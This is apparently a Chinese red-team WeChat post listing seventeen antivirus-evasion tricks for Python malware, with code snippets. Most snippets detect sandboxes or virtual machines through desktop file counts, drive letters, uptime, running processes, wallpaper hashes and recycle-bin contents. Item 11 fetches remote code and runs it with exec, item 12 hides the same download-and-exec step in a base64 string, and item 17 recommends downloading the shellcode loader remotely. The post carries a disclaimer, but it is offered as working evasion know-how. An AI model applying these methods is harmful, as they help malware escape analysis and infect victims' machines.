关注本公众号,长期推送技术文章
知攻善防实验室
红蓝对抗,Web渗透测试,红队攻击,蓝队防守,内网渗透,漏洞分析,漏洞原理,开源 工具,社工钓鱼,网络安全。
73篇原创内容
公众号
免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!
思路整理
整理了自己用过的免杀思路,只提供思路。
-
通过桌面文件数量判断是否为虚拟机
import os
# 获取当前用户的桌面路径
desktop_path = os.path.join(os.path.join(os.environ['USERPROFILE']), 'Desktop')
# 获取桌面上的文件和文件夹列表
items = os.listdir(desktop_path)
# 统计桌面上的文件数量(不包括文件夹)
file_count = 0
for item in items:
if os.path.isfile(os.path.join(desktop_path, item)):
file_count += 1
# 检查文件数量是否大于5
if file_count > 5:
print("条件成立")
else:
print("条件不成立")
2.通过判断盘符是否为虚拟机(有的虚拟机可能只有一个盘符)
import os
# 检查D:驱动器是否存在
if os.path.exists('D:/'):
print("D:驱动器存在。")
else:
print("D:驱动器不存在。")
3.通过获取D盘使用率来判断是否为虚拟机
import os
# 指定D盘的根目录路径
drive_path = 'D:/'
# 确保驱动器存在
if os.path.exists(drive_path):
# 获取D盘根目录下的所有项
items = os.listdir(drive_path)
# 计算文件夹的数量
folder_count = sum(1 for item in items if os.path.isdir(os.path.join(drive_path, item)))
# 判断文件夹数量是否超过5个
if folder_count > 5:
print("条件成立")
else:
print("条件不成立")
else:
print("D盘不存在。")
4.在脚本中插入正常功能,比如计算pai的多少位。。
from mpmath import mp
# 设置所需的精度(位数)
digits = 100000
# 设置mpmath的精度(位数)
mp.dps = digits # dps是decimal places(小数位)
# 计算圆周率
pi = mp.pi
# 打印圆周率的前10万位
print(str(pi))
5.我相信,当下微信、浏览器、等程序已经成了必不可缺的,那么就可以获取当前系统所有进程名,判断是否有指定进行,实现人机区分
import psutil
# 列出所有当前运行的进程名称
process_names = [proc.name() for proc in psutil.process_iter(['name'])]
# 检查是否有qq.exe和edge.exe
qq_exists = 'qq.exe' in process_names
edge_exists = 'edge.exe' in process_names
print(f"QQ.exe {'存在' if qq_exists else '不存在'}")
print(f"Edge.exe {'存在' if edge_exists else '不存在'}")
6.多层逻辑包含,使劲叠加if
这个。。。。就不实例了
7.获取开机时常,判断是否为虚拟机
import psutil
import datetime
boot_time = psutil.boot_time()
current_time = datetime.datetime.now().timestamp()
uptime = current_time - boot_time
uptime = datetime.timedelta(seconds=uptime)
print("计算机开机时长:", uptime)
8.多层嵌套import(比如用a文件去import b,b去import c)
import b
9.进行数学逻辑计算
10.使用小众语言,越小众越好
这个也不示例了
11.使用python的特性,代码后面加";"可以多行代码在一行执行
import requests;res = requests.get("https://www.baidu.com");exec(res.text)
12.exec执行的不要太明显
def decode_base64(encoded_str):
# 对base64字符串解码
decoded_bytes = base64.b64decode(encoded_str)
# 将bytes转换为字符串
decoded_str = decoded_bytes.decode('utf-8')
return decoded_str
code = decode_base64("c2hlbGxjb2RlID0gcmVxdWVzdHMuZ2V0KCJodHRwOi8vMTI3LjAuMC4xOjYwMDEvbG9hZGVyLnB5Iik7ZXhlYyhzaGVsbGNvZGUudGV4dCk=")
13.建议写一套自己的编码系统,比如,之前写过的玛卡巴卡免杀
14.实在窘迫,就半自动免杀,杀软只检查你程序启动的一刻,并不会全程检查你的程序,做个GUI程序,点击上线。
15.有一些云沙箱的桌面壁纸是固定的,那么可以获取桌面壁纸的md5,判断是否为沙箱
import ctypes
import hashlib
from ctypes import wintypes
# 定义Windows API调用
SPI_GETDESKWALLPAPER = 0x0073
MAX_PATH = 260
# 获取当前桌面壁纸路径
def get_wallpaper_path():
buf = ctypes.create_unicode_buffer(MAX_PATH)
ctypes.windll.user32.SystemParametersInfoW(SPI_GETDESKWALLPAPER, MAX_PATH, buf, 0)
return buf.value
# 计算文件的MD5哈希值
def calculate_md5(file_path):
hash_md5 = hashlib.md5()
with open(file_path, "rb") as f:
for chunk in iter(lambda: f.read(4096), b""):
hash_md5.update(chunk)
return hash_md5.hexdigest()
# 获取桌面壁纸文件路径
wallpaper_path = get_wallpaper_path()
# 计算并打印MD5哈希值
wallpaper_md5 = calculate_md5(wallpaper_path)
print(f"当前桌面壁纸的路径为: {wallpaper_path}")
print(f"当前桌面壁纸的MD5为: {wallpaper_md5}")
16.通过检查回收站是否含有垃圾烂判断是否为真机操作
我还是觉得,大部分人没有清理回收站的习惯
import ctypes
# 定义 SHQUERYRBINFO 结构体,对应于WIN32的结构
class SHQUERYRBINFO(ctypes.Structure):
_fields_ = [("cbSize", ctypes.c_ulong),
("i64Size", ctypes.c_longlong),
("i64NumItems", ctypes.c_longlong)]
def check_recycle_bin():
# 创建 SHQUERYRBINFO 结构体实例
query_info = SHQUERYRBINFO(cbSize=ctypes.sizeof(SHQUERYRBINFO))
# 调用 Windows API 函数 SHQueryRecycleBinW 获取回收站信息
res = ctypes.windll.shell32.SHQueryRecycleBinW(None, ctypes.byref(query_info))
# 检查函数调用是否成功
if res == 0:
# 如果回收站大小不为0,说明回收站中有文件
if query_info.i64Size > 0:
print(f"回收站有垃圾,大小为: {query_info.i64Size}字节")
else:
print("回收站是空的。")
else:
# 如果出错了,可以根据返回的错误码来确定错误的类型
print(f"获取回收站信息失败,错误码: {res}")
# 执行检查
check_recycle_bin()
17.分离免杀,调用http服务远程下载shellcode加载器
因为shellcode加载器是一段硬性特征,所以采用远程下载。
先写到这里吧,这以上是我用过的所有手段了,以后有机会再更新。
关注公众号“知攻善防实验室”长期获取技术文章